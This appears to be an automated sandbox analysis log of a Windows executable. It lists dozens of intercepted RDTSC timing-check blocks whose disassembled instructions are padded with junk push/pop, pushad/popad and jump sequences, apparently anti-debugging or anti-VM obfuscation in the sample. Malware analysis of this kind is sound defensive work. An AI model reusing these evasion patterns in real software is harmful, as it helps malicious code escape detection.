Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2C16 second address: EC2C3D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEF0CF037B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FEF0CF037C0h 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007FEF0CF037B6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2C3D second address: EC2C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2D9F second address: EC2DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2DAA second address: EC2DAF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2DAF second address: EC2DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jo 00007FEF0CF037BEh 0x0000000e jno 00007FEF0CF037B6h 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 jnp 00007FEF0CF037B6h 0x0000001d jp 00007FEF0CF037B6h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2DD4 second address: EC2DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2F54 second address: EC2F6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEF0CF037C4h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC30A5 second address: EC30F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d jno 00007FEF0C869B86h 0x00000013 popad 0x00000014 pushad 0x00000015 jl 00007FEF0C869B82h 0x0000001b ja 00007FEF0C869B76h 0x00000021 jl 00007FEF0C869B76h 0x00000027 push eax 0x00000028 push edx 0x00000029 jp 00007FEF0C869B76h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC30F2 second address: EC30F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71E7A second address: E71E8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71E8B second address: E71F0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FEF0CF037B8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D2C33h], edi 0x0000002a push 00000004h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007FEF0CF037B8h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 0000001Ah 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 jne 00007FEF0CF037B7h 0x0000004c nop 0x0000004d pushad 0x0000004e jmp 00007FEF0CF037C3h 0x00000053 push eax 0x00000054 push edx 0x00000055 push edx 0x00000056 pop edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71F0D second address: E71F2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jnp 00007FEF0C869B76h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC76DB second address: EC76DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB3C9 second address: ECB3D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB3D4 second address: ECB3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB3DA second address: ECB3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB68B second address: ECB68F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB7E8 second address: ECB807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0C869B85h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB807 second address: ECB839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 jmp 00007FEF0CF037BCh 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FEF0CF037C6h 0x00000016 pop esi 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB9A1 second address: ECB9B7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEF0C869B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FEF0C869B7Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB9B7 second address: ECB9C6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB9C6 second address: ECB9D1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED414B second address: ED4173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEF0CF037C8h 0x00000009 jmp 00007FEF0CF037BCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED21B2 second address: ED21B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED21B6 second address: ED21D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FEF0CF037BAh 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FEF0CF037B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED233C second address: ED2340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2D60 second address: ED2D64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED38FE second address: ED3909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3909 second address: ED3913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FEF0CF037B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3EA6 second address: ED3EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0C869B87h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3EC7 second address: ED3ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3ECB second address: ED3ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBC30 second address: EDBC50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 ja 00007FEF0CF037B6h 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 jmp 00007FEF0CF037BEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBC50 second address: EDBC8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B88h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEF0C869B85h 0x0000000e jmp 00007FEF0C869B7Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBF75 second address: EDBF89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0CF037BEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC0CC second address: EDC0D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC0D0 second address: EDC0DA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEF0CF037B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC0DA second address: EDC109 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B7Dh 0x00000007 push edi 0x00000008 jmp 00007FEF0C869B84h 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC109 second address: EDC10F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC10F second address: EDC12C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FEF0C869B84h 0x0000000b jmp 00007FEF0C869B7Ch 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC12C second address: EDC130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD996 second address: EDD99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD99C second address: EDD9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FEF0CF037B6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD9AA second address: EDD9B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jng 00007FEF0C869B76h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD9B9 second address: EDD9C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FEF0CF037B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD9C3 second address: EDD9C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE54B1 second address: EE54DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007FEF0CF037BCh 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEF0CF037C8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE54DE second address: EE54EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEF0C869B7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE57C2 second address: EE57EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jg 00007FEF0CF037D0h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE57EC second address: EE5836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 jc 00007FEF0C869B9Ah 0x0000000d jmp 00007FEF0C869B7Eh 0x00000012 jmp 00007FEF0C869B86h 0x00000017 jng 00007FEF0C869B8Dh 0x0000001d jmp 00007FEF0C869B81h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE59C1 second address: EE59DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0CF037C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5E07 second address: EE5E41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FEF0C869B78h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FEF0C869B80h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FEF0C869B88h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5E41 second address: EE5E4C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5E4C second address: EE5E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FEF0C869B76h 0x0000000c popad 0x0000000d jc 00007FEF0C869B8Bh 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007FEF0C869B83h 0x0000001a push eax 0x0000001b push edx 0x0000001c jbe 00007FEF0C869B76h 0x00000022 jbe 00007FEF0C869B76h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5FBE second address: EE5FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5FC4 second address: EE5FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5FC8 second address: EE5FF0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FEF0CF037B6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push esi 0x00000018 jmp 00007FEF0CF037BEh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE613E second address: EE614A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnp 00007FEF0C869B76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE4ED5 second address: EE4EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FEF0CF037C5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB132 second address: EEB138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB138 second address: EEB13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEE13B second address: EEE164 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEF0C869B85h 0x00000007 jmp 00007FEF0C869B80h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEE2CE second address: EEE2E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007FEF0CF037B6h 0x00000009 jnp 00007FEF0CF037B6h 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007FEF0CF037B6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEE2E8 second address: EEE31F instructions: 0x00000000 rdtsc 0x00000002 je 00007FEF0C869B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d js 00007FEF0C869B85h 0x00000013 jmp 00007FEF0C869B7Dh 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FEF0C869B83h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCA89 second address: EFCAAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEF0CF037C2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push esi 0x0000000f jl 00007FEF0CF037B6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC65B second address: EFC673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0C869B7Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03FBC second address: F03FC3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03FC3 second address: F03FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08D1F second address: F08D29 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEF0CF037BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08D29 second address: F08D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEF0C869B86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18D40 second address: F18D46 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18EAA second address: F18EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18FDB second address: F18FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEF0CF037BFh 0x00000009 popad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18FF3 second address: F18FF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18FF9 second address: F18FFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19322 second address: F1932A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1932A second address: F19330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C45D second address: F1C461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C461 second address: F1C465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C465 second address: F1C477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FEF0C869B94h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C477 second address: F1C47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C47D second address: F1C487 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2165A second address: F21661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21661 second address: F21695 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEF0C869B87h 0x00000008 jmp 00007FEF0C869B88h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C073 second address: F3C07D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FEF0CF037B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C07D second address: F3C081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3C081 second address: F3C087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BEEA second address: F3BF32 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FEF0C869B80h 0x0000000d push ecx 0x0000000e jmp 00007FEF0C869B84h 0x00000013 pop ecx 0x00000014 popad 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FEF0C869B84h 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3BF32 second address: F3BF38 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DF26 second address: F3DF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DF2A second address: F3DF33 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3DC55 second address: F3DC5D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
